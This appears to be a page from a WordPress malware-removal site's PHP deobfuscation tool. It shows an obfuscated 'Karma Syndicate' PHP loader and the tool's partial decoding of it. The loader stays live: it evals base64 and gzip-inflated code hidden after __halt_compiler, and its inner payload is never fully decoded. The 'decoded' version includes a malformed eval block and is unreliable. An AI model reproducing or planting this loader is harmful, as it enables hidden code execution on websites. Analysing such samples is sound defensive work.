Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /*** Karma Syndicate Tools For V1 ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSw...



Obfuscated php code

<?php /*** Karma Syndicate Tools For V1 ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=22144130f6d69b4ca7c51e62f5620aaf9959b022dVXbTttAEP2VbYQEqFXlXe8FiJBQX/vWBx6oKxRs56LS2IpDa6ni33vmYscJ9MFae3d25pyZM+NVs2/M8nd7/zCX5cacNa25NbPChlT0KZvNzYqMuqf7h29zWW7MZmkuTg0vzV9z9tLVuw7by81zfTEr6CiGwkaPNS/EsrDeYs2xTU/Ct59dztnpB/FAvqoNeejzEucR15eIhDXBlcvYHUW2wctZdEUKOHL8an0gt4V38FCzl54sYmFz4IBhqAoPKFkQe3rIHVZsJydBfI5rABtrCc6BBIB1QxQ6lz1ygC3GCHy9I3PhK1yxlxKbw4STw5iY0xJfUTkJzxQpLa/m7tfParOjZDCWXJ/ASeQnXh2ChGz2yfjrHFfvyrVc5EP/9iKMD9XARdw561G+DHJodvWiXKPOUtNFJ9XVMu9gVfftc1NRlZJDTDmGB8RkZTB/isCcAkcOaWY+s4Pv2Q+8iVXvaiZHGOUJmi0hx8QVowhl0z0CX7V4gs4o4CXjalV6j6t6/1g223293XdyDlzb+g8dimodMFkqMengFBP4YO32OwRpnxclK3EBjufn4NnCGUdpX6ZRjjhVKoz3+QzFYm7gTqKy6AxUnRKpQKUaH2+NnZu6XDfk2D/pZccp5SAUzJHza5YO6b6P1xrYqhwDqd5mg4jDwTRfiNi5R+ScBE/XqENYNrRVThuNGiumsddYVLg06TeBlrECemooiolOHrr0HUmqfkdJSnqWbxVzyO7/rk+zS0w0uxyaWPFE0jz6pC4oGRWb9AFMmaMS4QmQEz905QmeoQ4TOKfFHt4p5xQ6XXGtRWxD99sxdzxIToeBZlWGFVDQaHgdhaHV42l8qN57Y5I4khd6sG2jlM+Powg4CT6wWOd1vnulWEpNqXMOPcmRBrwqLRpytJ2P/dWPbOPAQb5UJ1FjJJWWPy6JzWVeCpWjkjDRKyGnKhtvTbpwWhhWZRxHJg9jJz+IE27yt0Hmg6qKMZVHNRumOSdOS8O/zf1m++XrXJabfw==

Decoded(de-Obfuscated) php code

<?php

/*** Karma Syndicate Tools For V1 ***/
$XnNhAWEnhoiqwciqpoHH = array(0 => "<?php /*** Karma Syndicate Tools For V1 ***/ \$XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode(\"aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319\"));eval(base64_decode(YiunIUY76bBhuhNYIO8(\$XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8(\$XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8(\$XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=22144130f6d69b4ca7c51e62f5620aaf9959b022dVXbTttAEP2VbYQEqFXlXe8FiJBQX/vWBx6oKxRs56LS2IpDa6ni33vmYscJ9MFae3d25pyZM+NVs2/M8nd7/zCX5cacNa25NbPChlT0KZvNzYqMuqf7h29zWW7MZmkuTg0vzV9z9tLVuw7by81zfTEr6CiGwkaPNS/EsrDeYs2xTU/Ct59dztnpB/FAvqoNeejzEucR15eIhDXBlcvYHUW2wctZdEUKOHL8an0gt4V38FCzl54sYmFz4IBhqAoPKFkQe3rIHVZsJydBfI5rABtrCc6BBIB1QxQ6lz1ygC3GCHy9I3PhK1yxlxKbw4STw5iY0xJfUTkJzxQpLa/m7tfParOjZDCWXJ/ASeQnXh2ChGz2yfjrHFfvyrVc5EP/9iKMD9XARdw561G+DHJodvWiXKPOUtNFJ9XVMu9gVfftc1NRlZJDTDmGB8RkZTB/isCcAkcOaWY+s4Pv2Q+8iVXvaiZHGOUJmi0hx8QVowhl0z0CX7V4gs4o4CXjalV6j6t6/1g223293XdyDlzb+g8dimodMFkqMengFBP4YO32OwRpnxclK3EBjufn4NnCGUdpX6ZRjjhVKoz3+QzFYm7gTqKy6AxUnRKpQKUaH2+NnZu6XDfk2D/pZccp5SAUzJHza5YO6b6P1xrYqhwDqd5mg4jDwTRfiNi5R+ScBE/XqENYNrRVThuNGiumsddYVLg06TeBlrECemooiolOHrr0HUmqfkdJSnqWbxVzyO7/rk+zS0w0uxyaWPFE0jz6pC4oGRWb9AFMmaMS4QmQEz905QmeoQ4TOKfFHt4p5xQ6XXGtRWxD99sxdzxIToeBZlWGFVDQaHgdhaHV42l8qN57Y5I4khd6sG2jlM+Powg4CT6wWOd1vnulWEpNqXMOPcmRBrwqLRpytJ2P/dWPbOPAQb5UJ1FjJJWWPy6JzWVeCpWjkjDRKyGnKhtvTbpwWhhWZRxHJg9jJz+IE27yt0Hmg6qKMZVHNRumOSdOS8O/zf1m++XrXJabfw==");
eval {
    if (!function_exists("YiunIUY76bBhuhNYIO8")) {
        function YiunIUY76bBhuhNYIO8($g, $b = 0)
        {
            $a = implode("\n", $g);
            $d = array(655, 236, 40);
            if ($b == 0) {
                $f = substr($a, $d[0], $d[1]);
            } elseif ($b == 1) {
                $f = substr($a, 891, $d[2]);
            } else {
                $f = trim(substr($a, 931));
            }
            return $f;
        }
    }
};
eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH, 2), YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH, 1)));
__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=22144130f6d69b4ca7c51e62f5620aaf9959b022dVXbTttAEP2VbYQEqFXlXe8FiJBQX/vWBx6oKxRs56LS2IpDa6ni33vmYscJ9MFae3d25pyZM+NVs2/M8nd7/zCX5cacNa25NbPChlT0KZvNzYqMuqf7h29zWW7MZmkuTg0vzV9z9tLVuw7by81zfTEr6CiGwkaPNS/EsrDeYs2xTU/Ct59dztnpB/FAvqoNeejzEucR15eIhDXBlcvYHUW2wctZdEUKOHL8an0gt4V38FCzl54sYmFz4IBhqAoPKFkQe3rIHVZsJydBfI5rABtrCc6BBIB1QxQ6lz1ygC3GCHy9I3PhK1yxlxKbw4STw5iY0xJfUTkJzxQpLa/m7tfParOjZDCWXJ/ASeQnXh2ChGz2yfjrHFfvyrVc5EP/9iKMD9XARdw561G+DHJodvWiXKPOUtNFJ9XVMu9gVfftc1NRlZJDTDmGB8RkZTB/isCcAkcOaWY+s4Pv2Q+8iVXvaiZHGOUJmi0hx8QVowhl0z0CX7V4gs4o4CXjalV6j6t6/1g223293XdyDlzb+g8dimodMFkqMengFBP4YO32OwRpnxclK3EBjufn4NnCGUdpX6ZRjjhVKoz3+QzFYm7gTqKy6AxUnRKpQKUaH2+NnZu6XDfk2D/pZccp5SAUzJHza5YO6b6P1xrYqhwDqd5mg4jDwTRfiNi5R+ScBE/XqENYNrRVThuNGiumsddYVLg06TeBlrECemooiolOHrr0HUmqfkdJSnqWbxVzyO7/rk+zS0w0uxyaWPFE0jz6pC4oGRWb9AFMmaMS4QmQEz905QmeoQ4TOKfFHt4p5xQ6XXGtRWxD99sxdzxIToeBZlWGFVDQaHgdhaHV42l8qN57Y5I4khd6sG2jlM+Powg4CT6wWOd1vnulWEpNqXMOPcmRBrwqLRpytJ2P/dWPbOPAQb5UJ1FjJJWWPy6JzWVeCpWjkjDRKyGnKhtvTbpwWhhWZRxHJg9jJz+IE27yt0Hmg6qKMZVHNRumOSdOS8O/zf1m++XrXJabfw==

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.